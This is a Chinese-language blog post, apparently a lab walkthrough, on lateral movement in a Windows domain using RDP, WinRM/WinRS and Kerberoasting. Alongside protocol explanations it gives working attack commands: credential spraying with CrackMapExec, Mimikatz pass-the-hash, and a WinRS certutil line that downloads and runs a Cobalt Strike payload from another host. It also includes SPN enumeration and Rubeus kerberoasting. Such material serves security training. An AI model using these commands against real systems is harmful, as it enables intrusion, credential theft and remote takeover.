内网安全:RDP WinRS WinRM SPN Kerberos 横向移动

目录

WinRM协议

RDP协议

域横向移动:RDP协议

RDP协议利用

一. 探针服务

二. 获取NTML Hash 明文密码

三. 连接执行

域横向移动:WinRM WinRS

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

三. 上线CS

四. CS插件横向移动

域横向移动:SPN Kerberos

 通过SPN协议信息收集

Kerberoasting 攻击

攻击原理

一. SPN扫描​​​​​​​

二. 检测RC4加密的服务票据

手工检测可以攻击的票据

三. Mimikatz导出票据

四. 使用脚本破解票据


WinRM协议

WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和命令执行。它使用基于Web服务的标准协议,如HTTP或HTTPS,并使用SOAP消息格式进行通信。WinRM提供了更全面的远程管理功能,包括执行命令、配置设置、获取系统信息、安装软件等操作。它通常与PowerShell等工具结合使用,使管理员能够远程管理和监控Windows计算机。

WinRM(Windows 远程管理)是由 Microsoft 开发的一种用于远程管理和管理员 Windows 系统的协议。它提供了一种标准化的方式来与远程计算机进行通信和执行远程管理任务。

以下是 WinRM 协议的一些关键方面:

  1. 通信协议:WinRM 基于 Web Services Management(WS-Management)标准,使用 SOAP(简单对象访问协议)通过 HTTP 或 HTTPS 进行通信。它利用行业标准的协议和技术实现安全的远程通信。

  2. 身份验证:WinRM 支持多种身份验证方法,包括 Kerberos、NTLM(NT LAN Manager)和基本身份验证。身份验证方法的选择取决于环境的配置和安全要求。

  3. 端口和终结点:WinRM 默认使用 TCP 端口 5985(HTTP)和 5986(HTTPS)。远程计算机上需要启用 WinRM 服务并配置相应的终结点,以便进行远程管理。

  4. 指令执行:使用 WinRM,管理员可以远程执行命令、脚本和 PowerShell cmdlet,从而实现对远程 Windows 计算机的管理。这使得在无需直接物理访问计算机的情况下,能够高效地进行管理和故障排除任务。

  5. 远程配置和管理:WinRM 允许管理员远程配置 Windows 系统的各个方面,如网络设置、防火墙规则、组策略和服务。它提供了一个统一的接口,从中心管理站点对远程系统进行管理。

  6. 与 PowerShell 的集成:WinRM 与 PowerShell 密切集成,PowerShell 是 Microsoft 强大的命令行 shell 和脚本语言。PowerShell cmdlet 可以利用 WinRM 进行远程命令执行和从 Windows 系统检索管理信息。

WinRM 在企业环境中常用于远程管理、自动化和远程支持等方面。它使管理员能够从一个中心管理站点高效、安全地管理大量的 Windows 计算机。

WinRS是一个命令行工具,用于在远程计算机上执行命令。它使用WinRM协议进行通信,并可以通过命令行界面或批处理脚本使用。WinRS允许管理员通过命令行方式在远程计算机上执行命令,而不需要在远程计算机上登录交互式会话。它适用于一次性执行简单命令的场景,如执行远程脚本、复制文件、查询系统信息等。

RDP协议

RDP(Remote Desktop Protocol)是一种用于远程桌面连接和远程管理的协议。它允许用户通过网络远程访问和控制远程计算机的桌面界面。

以下是RDP协议的一般工作流程:

  1. 客户端连接:用户在本地计算机上运行RDP客户端应用程序,并提供要连接的远程计算机的IP地址或主机名。

  2. 连接建立:客户端通过TCP/IP协议与远程计算机的RDP服务建立连接。默认情况下,RDP使用端口3389。

  3. 身份验证:一旦连接建立,客户端需要进行身份验证。用户输入远程计算机的用户名和密码进行认证。这些凭据将在安全的加密通道中传输,以确保安全性。

  4. 会话建立:一旦身份验证成功,远程计算机将创建一个新的用户会话,并将其桌面界面传输回客户端。客户端可以实时查看和操作远程计算机的桌面。

  5. 远程控制:客户端通过RDP协议向远程计算机发送用户输入(例如键盘和鼠标操作),远程计算机将这些输入应用于其桌面界面。客户端可以远程控制远程计算机,并执行各种操作。

  6. 会话结束:当用户关闭RDP连接或断开网络连接时,远程会话结束,并且客户端和远程计算机之间的连接被断开。

RDP协议具有良好的图形传输性能和数据压缩能力,使得远程桌面操作可以以较低的延迟和高帧率进行。它广泛应用于远程技术支持、远程管理、远程办公等场景,提供了便捷的远程访问和控制功能。

域横向移动:RDP协议

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面
RDP连接:

  • 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
  • 建立节点进行连接(使用代理工具) 推荐
  • 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)

采用第二种方案,CS节点搭建,攻击机代理到CS上,直接攻击机上测试即可

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

RDP协议利用

一. 探针服务

cs 内置端口扫描3389

二. 获取NTML Hash 明文密码

CrackMapExec&MSF 批扫用户名密码验证

从Webserver上扫描得到域内用户名,读取所有的NTML Hash,明文密码

从本地管理员和域用户,两个角度扫描,最终得到用户对应的密码

proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt

三. 连接执行

明文连接:win攻击机 本地 桌面远控连接

mstsc /console /v:192.168.3.32 /admin

CS插件 NTML Hash连接

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

圆孔桌面 

两个用户同时登录主机

域横向移动:WinRM WinRS

利用WinRM服务,采用WinRS连接

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm rs的服务!

使用此服务需要管理员级别凭据

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启WinRM协议,WinRS命令

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

执行命令

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

三. 上线CS

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

四. CS插件横向移动

域横向移动:SPN Kerberos

SPN协议可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

Kerberoasting 攻击:这种攻击方式是建立在没有NTML Hash或者明文密码的情况下的,可以尝试采取破解rc4加密得到明文密码,再去横向移动的思路

这两个常常结合起来一起使用,SPN探针域内服务,利用工具筛选出可利用的服务(rc4加密),逆向破解得到明文密码。

Kerberoast攻击流程:

  1. SPN服务发现
  2. 请求服务票据(工具判断与powershell脚本判断)
  3. 服务票据的导出(mimikatz导出)
  4. 服务票据的暴力破解(使用密码字典进行RC4协议破解)

如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。这种加密方式是可以破解的

如果选择是AES,就是安全无法逆向破解的

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

 通过SPN协议信息收集

可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

shell setspn -T GOd.org -q */*

 根据服务筛选主机

powershell setspn -T God.org -q */* | findstr "MSSQL"

Kerberoasting 攻击

背景:拿下一台主机Win7,但是MImikatz抓取密码失败,没有获得任何的Hash,明文密码

原因:主机修改了注册表,打过补丁都有可能导致Mimikatz失败

攻击条件:票据采用RC4加密,可以采用工具Rebues检测或者查看票据加密类型

这里攻击的是服务票据,通过破解服务票据的到明文密码

攻击原理

Kerberoasting是一种针对Active Directory(AD)环境中使用Kerberos身份验证的服务的攻击技术。它利用了Kerberos协议的一个弱点,即服务账户的服务票据(Service Ticket)是基于服务账户的加密密码生成的。攻击者可以通过抓取到的服务票据离线破解该密码,并最终获取到服务账户的明文密码。

攻击的过程如下:

  1. 攻击者在AD环境中找到目标服务账户,并请求该服务账户的服务票据。

  2. AD会返回加密的服务票据给攻击者。

  3. 攻击者将加密的服务票据保存下来,离线进行破解。

  4. 攻击者使用密码破解工具(例如Hashcat)对保存的服务票据进行破解。由于服务票据是使用服务账户的密码生成的,因此攻击者可以通过尝试不同的密码来破解该密码。

  5. 一旦攻击者成功破解了服务账户的密码,他们就可以使用这个密码来登录该服务账户,获取进一步的访问权限。

一. SPN扫描

CS执行命令,在CS中探针域服务

shell setspn -T 0day.org -q */*

那个看着不方便,直接放到主机上看吧

powershell setspn -T 0day.org -q */*

得到当前域内所有主机上的服务

klist 查看当前主机的票据,每张票据的最下面表示加密的类型。TGT票据

二. 检测RC4加密的服务票据

检测方式一:利用工具

项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

.\Rebeus.exe kerberoast

检测出来SQL Server服务可以攻击 采用RC4 下面是Hash值

 klist查看,这工具本质也是请求服务,生成服务票据

但是没看到TGT票据,只有服务票据,很奇怪

检测方式二:手工检测,先请求生成票据,再检测

手工检测可以攻击的票据

 

三. Mimikatz导出票据

四. 使用脚本破解票据

得到明文密码,因为服务票据是提供服务的主机生成的,所以得到的明文密码也是提供服务的主机的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/653890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第五篇:express路由路径方式(字符串,字符串模式,和正则)

🎬 江城开朗的豌豆:个人主页 🔥 个人专栏 :《 VUE 》 《 javaScript 》 📝 个人网站 :《 江城开朗的豌豆🫛 》 ⛺️ 生活的理想,就是为了理想的生活 ! 目录 📘 引言: &#x1f4…

(二十一)Flask之上下文管理第二篇(细细扣一遍源码)

每篇前言: 🏆🏆作者介绍:【孤寒者】—CSDN全栈领域优质创作者、HDZ核心组成员、华为云享专家Python全栈领域博主、CSDN原力计划作者 🔥🔥本文已收录于Flask框架从入门到实战专栏:《Flask框架从入…

《幻兽帕鲁》1月29日游戏服务器推荐!腾讯云降低规格再次降价!

腾讯29日刷新规格,从14M降低到12M,硬盘和流量都有降低,但价格打下来了!价格从66元/月降低到32元/月,277元/3个月降低到96元/3个月! 三大厂商4核16G的云服务器价格对齐,不过具体参数略有不同 阿里…

C语言数据结构——链表

(图像由AI生成) 0.前言 在计算机科学中,数据结构是存储和组织数据的一种方式,它不仅影响数据的存储,也影响数据的检索和更新效率。C语言,作为一种经典的编程语言,提供了灵活的方式来处理数据…

GIS应用水平考试一级—2009 年度第二次

全国信息化工程师——GIS应用水平考试 2009 年度第二次全国统一考试一级 试卷说明: 1、本试卷共9页,6个大题,满分150 分,150 分钟完卷。 2、考试方式为闭卷考试。 3、将第一、二、三題的答案用铅笔涂写到(NCIE-GIS)答题卡上。 4、将第四、五、六题的答案填写到主观题答题卡上…

STM32学习笔记(二) —— 调试串口

我们在调试程序时,经常会使用串口打印相关的调试信息,但是单片机串口不能直接与 PC 端的 USB 接口通讯,需要用到一个USB转串口的芯片来充当翻译的角色。我们使用的开发板上有这个芯片,所以在打印调试信息的时候直接使用USB线连接开…

C#,广义斐波那契数(Generalised Fibonacci Numbers)的算法

广义斐波那契序列(generalized Fibonacci sequence)是斐波那契数的推广。由递推关系F₁F₂…Fm-10,Fₘ1,FmnFₙFn1…Fnm1,n≥1所产生的序列,称为m级广义斐波那契序列。 计算结果: 源代码: 1 文本格式 …

【MCAL】TC397+EB-tresos之GPT配置实战 - 定时器

本篇文章介绍了在TC397平台使用EB-tresos对GPT驱动模块进行配置的实战过程,不仅介绍了使用GTM来实现定时器的方案,还介绍了基于GPT12来实现连续定时器的实例。因为GTM是德国博世公司开发的IP,而英飞凌的芯片集成了这个IP,并在这个基础上搭建了…

蓝牙----蓝牙连接建立_连接建立

蓝牙----蓝牙连接建立_连接建立 蓝牙连接建立过程图1.主机扫描到广播包1.1判断是否是自己关心的广播包1.2广播地址添加到扫描列表 2.主机扫描结束,建立连接3.主从连接成功后,执行连接建立后事件3.1.主机将连接句柄和设备地址添加到连接列表3.2.主机进行G…

Docker 基础篇

目录 一、Docker 简介 1. Docker 2. Linux 容器 3. 传统虚拟机和容器的对比 4. Docker 的作用 5. Docker 的基本组成(Docker 三要素) 6. Docker 工作原理 7. Docker 架构 8. Docker 下载 二、Docker 安装 1. CentOS Docker 安装 2. CentOS8 …

贝锐蒲公英全新网页认证,保障企业访客无线网络安全

随着企业规模的不断扩大、人员的增长、无线终端数量/类型的增加,传统WiFi无线网络会暴露出越来越多的问题,导致无线网络管理困难。 比如:采用弱密码、安全防护不到位的默认设置、员工缺乏信息安全意识、未经授人员权访问无线网络…… 这些问…

SELINUX导致的网络服务问题解决

第一:开启相关服务,监控SELINUX 相关服务:setroubleshoot,auditd,大多数都是以se开头的 如果没有此服务,先yum下,然后查看状态 这里关于auditd说明,centos7不可以用systemctl重启auditd服务,…

深入了解Matplotlib中的子图创建方法

深入了解Matplotlib中的子图创建方法 一 add_axes( **kwargs):1.1 函数介绍1.2 示例一 创建第一张子图1.2 示例二 polar参数的运用1.3 示例三 创建多张子图 二 add_subplot(*args, **kwargs):2.1 函数介绍2.2 示例一 三 两种方法的区别3.1 参数形式3.2 布局灵活性3.3 适用场景3…

美化背景(拼图小游戏)

package Puzzlegame.com.wxj.ui;import javax.swing.*; import javax.swing.border.BevelBorder; import java.util.Random;public class GameJframe extends JFrame { //游戏主界面 //创建一个二维数组//目的:管理数据//加载图片的时候,会根据二维数组中…

ECRS软件:引领企业走向精益制造的未来

随着科技的快速发展和市场竞争的不断加剧,制造业正面临着前所未有的挑战和机遇。为了在激烈的市场竞争中立于不败之地,越来越多的企业开始寻求转型和升级,精益制造成为了一个备受关注的方向。而在这个过程中,ECRS软件以其独特的作…

【C++】对外接口封装以及导出动态链接库DLL

VS 使用C编写对外接口并封装成DLL 一、接口的封装二、VS设置三、查看生成的DLL接口 一、接口的封装 首先创建头文件,包含我们所依赖的库的头文件名称,并且申明我们要对外封装的接口名称,示例: 头文件: #pragma once …

CSAPP shelllab

CSAPP shell lab shell lab 的目标 实现shell 功能,包括解析命令,调用可执行文件和内置命令,(quit, jobs,fg, 和bg)。实现job控制和signal handler。 shell 介绍 Shell中的作业(job)管理是一种用于跟踪和控制正在运…

2023年:个人年度成长与团队协作成就

文章目录 个人职业发展的喜悦团队成就的辉煌公众号CSDN申请了移动安全领域新星创作者获得6月城市之星北京TOP 10获得23年博客之星TOP 41年度总结 知识星球 开拓新领域的决心免费知识大陆付费知识大陆 展望未来福利时间知识星球会员一年知识星球立减88券 在这个充满挑战与机遇的…

(2)(2.9) Holybro Microhard P900无线电遥测设备

文章目录 前言 1 特点 2 规格 3 包装内包括 前言 Holybro Microhard Radio 集成了 microhard Pico 系列射频模块,能够在强大的拓扑结构中提供高性能无线串行通信,如点对点、点对多点和安全 Mesh(P840 不提供 Mesh)。 它采用跳…

SQL注入的剩余类型

除了联合查询注入,报错注入,盲注注入 sql注入还有以下几类🦹🦹🦹🦹🦹 开始填坑 1.UA注入 原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户…